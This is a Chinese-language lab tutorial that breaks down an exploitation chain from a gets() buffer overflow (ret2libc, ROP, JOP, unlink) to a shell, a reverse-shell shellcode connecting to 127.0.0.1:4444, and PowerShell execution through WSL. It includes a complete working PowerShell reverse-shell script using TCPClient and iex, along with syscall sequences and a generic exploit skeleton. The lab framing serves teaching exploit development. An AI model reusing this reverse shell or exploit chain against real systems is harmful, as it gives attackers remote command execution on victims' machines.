06 · 反弹 Shell 与 PowerShell 执行 —— 完整攻击链(RPC)

发布时间:2026/8/12 17:18:12
06 · 反弹 Shell 与 PowerShell 执行 —— 完整攻击链(RPC) 06 · 反弹 Shell 与 PowerShell 执行 —— 完整攻击链(RPC)这里 RPC 反弹(Rebound)执行(Execute PowerShell)。本篇把从溢出到powershell 输出 hello world!的整条链逐环节拆开。1. 完整攻击链┌─ 环节1: 漏洞利用 ─┐ ┌─ 环节2: 获得shell ─┐ ┌─ 环节3: 反弹 ─┐ ┌─ 环节4: PowerShell ─┐ │ gets() 溢出 │ → │ system(/bin/sh) │ → │ 反弹连接 │ → │ 执行 回显 │ │ ret2libc/ROP/JOP/ │ │ 或 shellcode │ │ 攻击者监听 │ │ hello world! │ │ unlink │ │ execve /bin/sh │ │ 127.0.0.1:4444 │ │ │ └───────────────────┘ └───────────────────┘ └────────────────┘ └──────────────────────┘每个 lab 的前端(环节1)不同, 后端(环节2-4)相同。2. 环节2: system(“/bin/sh”) 是怎么被调用起来的调用链 (lab1, 32位)vulnerable 的 ret 指令: RIP [rsp] system 地址 ← 溢出覆盖的返回地址 ESP 指向 payload 里 [exit][binsh] 执行 system 入口 (libc): system 读取栈参数: EBP8 binsh ← 32位 cdecl: 参数在栈上! → fork() execve(/bin/sh, [sh,-c,/bin/sh], env) → /bin/sh 的 stdin/stdout/stderr 继承受害者的(我们的管道) → 我们通过管道发命令 远程控制!调用链 (lab3, JOP, 64位)溢出 → jmp *%rdx → dispatcher dispatcher: pop rcx (取链中 g_pop_rdi); jmp *rcx g_pop_rdi: pop rdi (/bin/sh 地址进 RDI); jmp *%rdx dispatcher: pop rcx (取 g_pop_rax); jmp *rcx g_pop_rax: pop rax (system 地址进 RAX); jmp *%rdx dispatcher: pop rcx (取 g_call); jmp *rcx g_call: call *%rax ← RDI/bin/sh, 调 system! → 与 32 位同样的 fork/execve 路径 → shell要点: “调用起来” 控制 RIP/RSP 参数进对寄存器/栈 指向 libc 函数。lab2 (ROP) 是 pop rdi 链, lab4 (unlink) 是函数指针 cbsystem, 本质相同。3. 环节3: 反弹 shell(lab5)—— 主动连回来为什么反弹:受害者主动出站连接攻击者 —— 绕过入站防火墙, 跨网络可达。shellcode 的 4 个系统调用(手写汇编, 每个都带注释)socket(AF_INET2, SOCK_STREAM1, 0) → fd (syscall 41) connect(fd, {AF_INET, 4444, 127.0.0.1}, 16) (syscall 42) dup2(fd, 0); dup2(fd, 1); dup2(fd, 2) (syscall 33 ×3) execve(/bin/sh, NULL, NULL) (syscall 59)执行后:/bin/sh 的输入输出全部绑定到 socket → 攻击者的监听器就是键盘。攻击者监听 (listener 线程 / listener_ps.py)socket → bind(127.0.0.1:4444) → listen → accept 收到连接 → 发命令 → 收输出实测 (evidence/lab5_shellcode.log)[] buf 0x7fffffffdf80 [] 反弹 shell 已连接! ((127.0.0.1, 40110)) SHELL-REBOUND-OK uid0(root) hello world!坑(实测): shellcode 里pushw $0x115c压入的是小端字节[5c 11],而 sin_port 字段要求网络字节序[11 5c] → 立即数要写$0x5c11!用 strace 一眼看穿:connect(3, {sin_porthtons(23569)}) 端口打错。4. 环节4: 在 shell 里执行 PowerShellWSL 互操作: Linux 进程可以直接调用 Windows 的 powershell.exe。# shell 里执行 (lab1-5 的 exploit 都自动发送这条):/mnt/c/Windows/System32/WindowsPowerShell/v1.0/powershell.exe\-NoProfile-CommandWrite-Output hello world!# 输出: hello world!这就是反弹执行 powershell: 攻击者借受害者的 shell, 调用受害者机器上的powershell.exe 执行任意命令 —— 攻击者的输入 → 受害者的 PowerShell 输出。5. 环节4b: PowerShell 自己反弹(lab6)不依赖 /bin/sh —— PowerShell 本身做客户端反弹:# powershell_rs.ps1 (受害者): 连回攻击者, 循环执行收到的命令$cNew-ObjectSystem.Net.Sockets.TCPClient(127.0.0.1,4444)$s$c.GetStream()[byte[]]$b 0..65535|%{0}while(($i$s.Read($b,0,$b.Length))-ne0){$d(New-ObjectText.ASCIIEncoding).GetString($b,0,$i)$o(iex$d21|Out-String)# iex Invoke-Expression: 执行命令$s.Write(([Text.ASCIIEncoding]::ASCII.GetBytes($o)),0,$o.Length)}实测 (listener_ps.py powershell_rs.ps1):[] 反弹连接来自: (127.0.0.1, 57906) [*] 自动发送演示命令: Write-Output hello world! [] 输出: hello world!两种 PowerShell 路径对比:方式前提场景shell → powershell.exe (lab1-5)已有 shellLinux 受害者PowerShell 自身反弹 (lab6)可执行 ps1Windows 受害者 / 社工6. 攻击链的工程化: exploit 通用骨架# 每个 lab exploit 都遵循这个结构:1.启动 victim(setarch-R 关 ASLR)2.解析泄漏(pid/maps/buf/putsgot...)3.计算地址(libc基址偏移)4.发送 payload(溢出/链/堆布局)5.等 shell(管道or反弹连接)6.发命令:echo PWNEDidpowershell.exe...hello world!7.收集输出 → 攻击完成7. 记忆卡攻击链 利用 → shell → 反弹 → PowerShell → 输出“调用起来” RIP/RSP 可控 参数正确 目标函数地址32位参数在栈, 64位参数在寄存器反弹 受害者主动出站连接 (绕过防火墙)shellcode 4 连: socket → connect → dup2×3 → execvesin_port 网络字节序! pushw 立即数要写反 (0x5c11)PowerShell 执行 powershell.exe -Command “…” (WSL 互操作)iex Invoke-Expression: PS 版执行任意命令